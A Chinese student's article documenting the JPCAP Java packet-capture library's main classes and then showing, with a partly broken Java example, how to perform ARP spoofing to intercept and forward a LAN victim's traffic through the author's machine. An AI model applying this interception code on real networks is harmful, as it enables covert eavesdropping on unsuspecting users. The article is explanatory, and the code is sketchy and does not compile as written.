JPCAP——JAVA中的数据链路层控制

  半年前网络技术课的老师要我们做个ARP查询，老师是教人用winsock的，可我一味钻java，干着急，钻进java世界到处查，终于找到这么一个东西。

然后做了一个ARP监听器，没想到被老师看上了，说是国内JPCAP研究的人不多，可以考虑写一篇论文，老师给我推荐发表。

于是有了这么一篇东西。不过现在还不知道老师发哪个刊物去了。。。老师说，还没回音。。

JPCAP —— JAVA 中的数据链路层控制   一． JPCAP 简介 众所周知，JAVA语言虽然在TCP/UDP传输方面给予了良好的定义，但对于网络层以下的控制，却是无能为力的。JPCAP扩展包弥补了这一点。 JPCAP实际上并非一个真正去实现对数据链路层的控制，而是一个中间件，JPCAP调用wincap/libpcap，而给JAVA语言提供一个公共的接口，从而实现了平台无关性。在官方网站上声明，JPCAP支持FreeBSD 3.x, Linux RedHat 6.1, Fedora Core 4, Solaris, and Microsoft Windows 2000/XP等系统。 二． JPCAP 机制        JPCAP的整个结构大体上跟wincap/libpcap是很相像的，例如NetworkInterface类对应wincap 的 typedef struct _ADAPTER  ADAPTER ， getDeviceList() 对应pcap_findalldevs()等等。 JPCAP有16个类，下面就其中最重要的4个类做说明。   1． NetworkInterface 该类的每一个实例代表一个网络设备，一般就是网卡。这个类只有一些数据成员，除了继承自java.lang.Object的基本方法以外，没有定义其它方法。  

数据成员
NetworkInterfaceAddress[]	addresses     这个接口的网络地址。设定为数组应该是考虑到有些设备同时连接多条线路，例如路由器。但我们的PC机的网卡一般只有一条线路，所以我们一般取addresses[0]就够了。
java.lang.String	datalink_description .     数据链路层的描述。描述所在的局域网是什么网。例如，以太网（Ethernet）、无线LAN网（wireless LAN）、令牌环网(token ring)等等。
java.lang.String	datalink_name    该网络设备所对应数据链路层的名称。具体来说，例如Ethernet10M、100M、1000M等等。
java.lang.String	description    网卡是XXXX牌子XXXX型号之类的描述。例如我的网卡描述：Realtek RTL8169/8110 Family Gigabit Ethernet NIC
boolean	Loopback     标志这个设备是否loopback设备。
byte[]	mac_address     网卡的MAC地址，6个字节。
java.lang.String	Name     这个设备的名称。例如我的网卡名称：/Device/NPF_{3CE5FDA5-E15D-4F87-B217-255BCB351CD5}

  2． JpcapCaptor 该类提供了一系列静态方法实现一些基本的功能。该类一个实例代表建立了一个与指定设备的链接，可以通过该类的实例来控制设备，例如设定网卡模式、设定过滤关键字等等。  

数据成员
int	dropped_packets  抛弃的包的数目。
protected  int	ID 这个数据成员在官方文档中并没有做任何说明，查看 JPCAP 源代码可以发现这个 ID 实际上在其 JNI 的 C 代码部分传进来的，这类本身并没有做出定义，所以是供其内部使用的。实际上在对 JpcapCator 实例的使用中也没有办法调用此数据成员。
protected static boolean[]	instanciatedFlag    同样在官方文档中没有做任何说明，估计其为供内部使用。
protected static int	MAX_NUMBER_OF_INSTANCE 同样在官方文档中没有做任何说明，估计其为供内部使用。
int	received_packets          收到的包的数目
方法成员
static NetworkInterface[]	getDeviceList ()            返回一个网络设备列表。
static JpcapCaptor	openDevice (NetworkInterface interface, int snaplen, boolean promisc, int to_ms)          创建一个与指定设备的连接并返回该连接。注意，以上两个方法都是静态方法。       Interface ：要打开连接的设备的实例；       Snaplen ：这个是比较容易搞混的一个参数。其实这个参数不是限制只能捕捉多少数据包，而是限制每一次收到一个数据包，只提取该数据包中前多少字节；       Promisc ：设置是否混杂模式。处于混杂模式将接收所有数据包，若之后又调用了包过滤函数 setFilter() 将不起任何作用；       To_ms ：这个参数主要用于 processPacket() 方法，指定超时的时间；
void	Close ()            关闭调用该方法的设备的连接，相对于 openDivece() 打开连接。
JpcapSender	getJpcapSenderInstance ()           该返回一个 JpcapSender 实例， JpcapSender 类是专门用于控制设备的发送数据包的功能的类。
Packet	getPacket ()            捕捉并返回一个数据包。这是 JpcapCaptor 实例中四种捕捉包的方法之一。
int	loopPacket (int count, PacketReceiver handler)           捕捉指定数目的数据包，并交由实现了 PacketReceiver 接口的类的实例处理，并返回捕捉到的数据包数目。如果 count 参数设为－ 1 ，那么无限循环地捕捉数据。       这个方法不受超时的影响。还记得 openDivice() 中的 to_ms 参数么？那个参数对这个方法没有影响，如果没有捕捉到指定数目数据包，那么这个方法将一直阻塞等待。 PacketReceiver 中只有一个抽象方法 void receive(Packet p) 。
int	processPacket (int count, PacketReceiver handler)            跟 loopPacket () 功能一样，唯一的区别是这个方法受超时的影响，超过指定时间自动返回捕捉到数据包的数目。
int	dispatchPacket (int count, PacketReceiver handler)          跟 processPacket () 功能一样，区别是这个方法可以处于“non-blocking”模式工作，在这种模式下dispatchPacket()可能立即返回，即使没有捕捉到任何数据包。
void	setFilter (java.lang.String condition, boolean optimize)           . condition ： 设定要提取的包的关键字。        Optimize ：这个参数在说明文档以及源代码中都没有说明，只是说这个参数如果为真，那么过滤器将处于优化模式。
void	setNonBlockingMode (boolean nonblocking)      如果值为“ true ”，那么设定为“ non-blocking ”模式。
void	breakLoop ()      当调用 processPacket() 和 loopPacket() 后，再调用这个方法可以强制让 processPacket() 和 loopPacket() 停止。

  3． JpcapSender 该类专门用于控制数据包的发送。  

方法成员
void	close ()           强制关闭这个连接。
static JpcapSender	openRawSocket ()      这个方法返回的 JpcapSender 实例发送数据包时将自动填写数据链路层头部分。
void	sendPacket (Packet packet)           JpcapSender 最重要的功能，发送数据包。需要注意的是，如果调用这个方法的实例是由 JpcapCaptor 的 getJpcapSenderInstance () 得到的话，需要自己设定数据链路层的头，而如果是由上面的openRawSocket() 得到的话，那么无需也不能设置，数据链路层的头部将由系统自动生成。

  4． Packet 这个是所有其它数据包类的父类。Jpcap所支持的数据包有：

ARPPacket 、 DatalinkPacket 、 EthernetPacket 、 ICMPPacket 、 IPPacket 、 TCPPacket 、 UDPPacket   三．使用JPCAP 实现监听        1 ．监听原理        在详细说用JPCAP实现网络监听实现前，先简单介绍下监听的原理。        局域网监听利用的是所谓的“ARP欺骗”技术。在以前曾经一段阶段，局域网的布局是使用总线式（或集线式）结构，要到达监听只需要将网卡设定为混杂模式即可，但现在的局域网络普遍采用的是交换式网络，所以单纯靠混杂模式来达到监听的方法已经不可行了。所以为了达到监听的目的，我们需要“欺骗”路由器、“欺骗”交换机，即“ARP欺骗”技术。        假设本机为A，监听目标为B。 首先，伪造一个ARP REPLY包，数据链路层头及ARP内容部分的源MAC地址填入A的MAC地址，而源IP部分填入网关IP，目的地址填入B的MAC、IP，然后将这个包发送给B，而B接收到这个伪造的ARP REPLY包后，由于源IP为网关IP，于是在它的ARP缓存表里刷新了一项，将（网关IP，网关MAC）刷新成（网关IP，A的MAC）。而B要访问外部的网都需要经过网关，这时候这些要经过网关的包就通通流到A的机器上来了。 接着，再伪造一个ARP REPLY包，数据链路层头及ARP内容部分的源MAC地址填入A的MAC地址，而源IP部分填入B的IP，目的地址填入网关MAC、IP，然后将这个包发给网关，网关接收到这个伪造的ARP REPLY包后，由于源IP为B的IP，于是在它的ARP缓存表里刷新了一项，将（B的IP，B的MAC）刷新成（B的IP，A的MAC）。这时候外部传给B的数据包经过网关时，就通通转发给A。 这样还只是拦截了B的数据包而已，B并不能上网——解决方法是将接收到的包，除了目的地址部分稍做修改，其它原封不动的再转发出去，这样就达到了监听的目的——在B不知不觉中浏览了B所有的对外数据包。   ARP 数据包解析 单元： Byte

Ethernet 头部	ARP 数据部分
６	６	２	2	2	2	2	４	６	４	６
目标 MAC 地址	源地 MAC 地址	类型号 0x0800:ip 0x0806:ARP	局域网类型 以太网 0x0001	网络协议类型 IP 网络 0x0800	MAC/IP 地址长度，恒为 0x06/04	ARP 包类型 REPLY 0x0002	ARP 目标 IP 地址	ARP 目标 MAC 地址	ARP 源 IP 地址	ARP 源 MAC 地址

  2 ．用JPCAP 实现监听        就如上面说的，为了实现监听，我们必须做四件事： A．发送ARP包修改B的ARP缓存表； B．发送ARP包修改路由ARP缓存表； C．转发B发过来的数据包； D．转发路由发过来的数据包；   下面我们给个小小的例子说明怎样实现。 我们假定运行这个程序的机器A只有一个网卡，只接一个网络，所在局域网为Ethernet，并且假定已经通过某种方式获得B和网关的MAC地址（例如ARP解析获得）。我们修改了B和网关的ARP表，并对他们的包进行了转发。 public class changeARP{          private NetworkInterface[] devices;                           // 设备列表          private NetworkInterface device;                               // 要使用的设备          private JpcapCaptor jpcap;                                        // 与设备的连接          private JpcapSender sender;                                       // 用于发送的实例          private byte[] targetMAC, gateMAC;                       //B 的 MAC 地址，网关的 MAC 地址          private byte[] String targetIp, String gateIp;              //B 的 IP 地址，网关的 IP 地址                   private NetworkInterface getDevice() throws IOException {                   devices = JpcapCaptor.getDeviceList();                                                 // 获得设备列表                    device = devices[0];                                                                                // 只有一个设备                    jpcap = JpcapCaptor.openDevice(device, 2000, false, 10000);             // 打开与设备的连接                    jpcap.setFilter(“ip”,true);                                                                       // 只监听 B 的 IP 数据包                    sender = captor.getJpcapSenderInstance();          }                   public changeARP(byte[] targetMAC, String targetIp,byte[] gateMAC, String gateIp)                             throws UnknownHostException,InterruptedException {                    this. targetMAC =  targetMAC;                    this. targetIp =  targetIp;                    this. gateMAC = gateMAC;                    this. gateIp = gateIp;                    getDevice();                    arpTarget = new ARPPacket();                                                     // 修改 B 的 ARP 表的 ARP 包                    arpTarget.hardtype = ARPPacket.HARDTYPE_ETHER;          // 选择以太网类型 (Ethernet)                    arpTarget.prototype = ARPPacket.PROTOTYPE_IP;                // 选择 IP 网络协议类型                    arpTarget.operation = ARPPacket.ARP_REPLY;                         // 选择 REPLY 类型                    arpTarget.hlen = 6;                                                                        //MAC 地址长度固定 6 个字节                    arpTarget.plen = 4;                                                                        //IP 地址长度固定 4 个字节                    arpTarget.sender_hardaddr = device.mac_address;                       //A 的 MAC 地址                    arpTarget.sender_protoaddr = InetAddress.getByName(gateIp).getAddress();       // 网关 IP                    arpTarget.target_hardaddr = targetMAC;                                               //B 的 MAC 地址                    arpTarget.target_protoaddr = InetAddress.getByName(targetIp).getAddress();     //B 的 IP                      EthernetPacket ethToTarget = new EthernetPacket();                  // 创建一个以太网头                    ethToTarget.frametype = EthernetPacket.ETHERTYPE_ARP; // 选择以太包类型                    ethToTarget.src_mac = device.mac_address;                                 //A 的 MAC 地址                    ethToTarget.dst_mac = targetMAC;                                             //B 的 MAC 地址                    arpTarget.datalink = ethToTarget;                                                 // 将以太头添加到 ARP 包前                      arpGate = new ARPPacket();                                                                 // 修改网关 ARP 表的包                    arpGate.hardtype = ARPPacket.HARDTYPE_ETHER;             // 跟以上相似，不再重复注析                    arpGate.prototype = ARPPacket.PROTOTYPE_IP;                    arpGate.operation = ARPPacket.ARP_REPLY;                    arpGate.hlen = 6;                    arpGate.plen = 4;                    arpGate.sender_hardaddr = device.mac_address;                    arpGate.sender_protoaddr = InetAddress.getByName(targetIp).getAddress();                    arpGate.target_hardaddr = gateMAC;                    arpGate.target_protoaddr = InetAddress.getByName(gateIp).getAddress();                      EthernetPacket ethToGate = new EthernetPacket();                    ethToGate.frametype = EthernetPacket.ETHERTYPE_ARP;                    ethToGate.src_mac = device.mac_address;                    ethToGate.dst_mac = gateMAC;                    arpGate.datalink = ethToGate;                                       thread=new Thread(new Runnable(){                                 // 创建一个进程控制发包速度                             public void run() {                                       while (true) {                                                sender.sendPacket(arpTarget);                                                sender.sendPacket(arpGate);                                                Thread.sleep(500);                    }).start();                    recP();                                                                                   // 接收数据包并转发 } private void send(Packet packet, byte[] changeMAC) {                                          EthernetPacket eth;                    if (packet.datalink instanceof EthernetPacket) {                             eth = (EthernetPacket) packet.datalink;                             for (int i = 0; i < 6; i++) {                                      eth.dst_mac[i] = changeMAC[i];                      // 修改包以太头，改变包的目标                                      eth.src_mac[i] = device.mac_address[i];            // 源发送者为 A                             }                             sender.sendPacket(packet);                    } } public void recP(){          IPPacket ipPacket = null;          while(true){                   ipPacket = （ IPPacket ） jpcap.getPacket();                             System.out.println(ipPacket);                            if (ipPacket.src_ip.getHostAddress().equals(targetIp))                                      send(packet, gateMAC);                             else                                      send(packet, targetMAC);                    } }   注意：这个例子只是为了说明问题，并没有考虑到程序的健壮性，所以并不一定能在任何一台机器任何一个系统上运行。